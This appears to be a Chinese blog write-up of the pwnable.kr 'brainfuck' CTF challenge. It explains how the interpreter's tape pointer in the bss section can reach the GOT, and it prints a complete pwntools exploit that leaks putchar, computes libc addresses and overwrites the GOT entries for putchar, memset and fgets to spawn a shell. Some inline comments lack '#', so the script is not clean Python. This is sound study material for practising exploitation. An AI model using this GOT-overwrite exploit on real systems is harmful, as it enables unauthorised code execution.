pwnable.kr brainfuck之write up

I made a simple brain-fuck language emulation program written in C. 
The [ ] commands are not implemented yet. However the rest functionality seems working fine. 
Find a bug and exploit it to get a shell. 

Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

补充一下知识,什么是brainfuck呢?

Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

 

 

接下来我们来看程序,首先看main函数:

 

 

 点进去看一下brainfuck函数:

 大致可分析得到程序的思路是:

fget输入,根据输入的内容对应相应的字符并执行。

补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html

题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中

bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。

下面我们分析解题思路 :

 

首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。

所以只能从用户输入入手:

  • 将menset覆写为gets,从stdin中读入"/bin/sh\0"

  • 将fgets覆写为system,执行system("/bin/sh\0")获取shell

这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。

整体思路:

  • 泄露putchar函数真实地址

  • 根据题目给的libc计算其他函数真实地址

  • 覆写GOT表中putchar函数为main函数地址

  • 覆写GOT表中fgets函数为system函数地址

  • 覆写GOT表中memset函数为gets函数地址

  • 返回main函数,getshell

 所以exp如下:别人的exp我做些分析

 1 from pwn import *
 2 context(os='linux', arch='i386', log_level='debug')
 3 
 4 DEBUG = 0
 5 if DEBUG:
 6     p = process('./bf')
 7     libc = ELF('/usr/lib32/libc.so.6')
 8 else:
 9     p = remote('pwnable.kr', 9001)
10     libc = ELF('./bf_libc.so')
11 
12 def main():
13     #pwnlib.gdb.attach(p)
14     p.recvuntil(']')
15 
16     put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
17     payload = '.' 输出指针指向的位置
18     payload += '<' * put_char_offset  指针put_char_offset减1
19     payload += '.>' * 4  输出指针位置加4的位置
20     payload += '<,' * 4 # write put_char 输入内容到putchar的位置
21     payload += '<' * 4 指向memset的位置
22     payload += ',>' * 4 # write memset 输入内容到memset位置后返回到Putchar
23     payload += '<' * (0x2c - 0x10 + 4) 指针指向fget的位置
24     payload += ',>' * 4 # write fgets 向fget输入后指针位置+4
25     payload += '.' * (0x400 - len(payload) - 1)
26     p.send(payload)
27     p.recv()
28     if DEBUG:
29         leak = p.recv()[1:]
30     else:
31         p.recv()
32         leak = p.recv()
33 
34     log.info('get:' + str(len(leak)))
35     log.info('leak:' + hex(u32(leak)))
36 
37     putchar_pos = u32(leak)
38     libc_base = putchar_pos - libc.symbols['putchar']
39     system_addr = libc_base + libc.symbols['system']
40     gets_addr = libc_base + libc.symbols['gets']
41     main_addr = 0x08048671
42 
43     log.info("libc base at:" + hex(libc_base))
44 
45     packed_gadget_pos = p32(0x08048671)
46 
47     # write put char
48     for x in (packed_gadget_pos[::-1]):
49         p.send(x)
50 
51     # write memset
52     for x in p32(gets_addr):
53         p.send(x)
54     #write fgets
55     for x in p32(system_addr): 
56         p.send(x)
57 
58     p.recvuntil(']')
59     payload = '/bin/sh\x00'
60     p.send(payload)
61 
62     p.interactive()
63 
64 
65 
66 
67 if __name__ == '__main__':
68     main()

 

posted @ 2017-08-29 16:09  S_s_s  阅读(703)  评论(0编辑  收藏  举报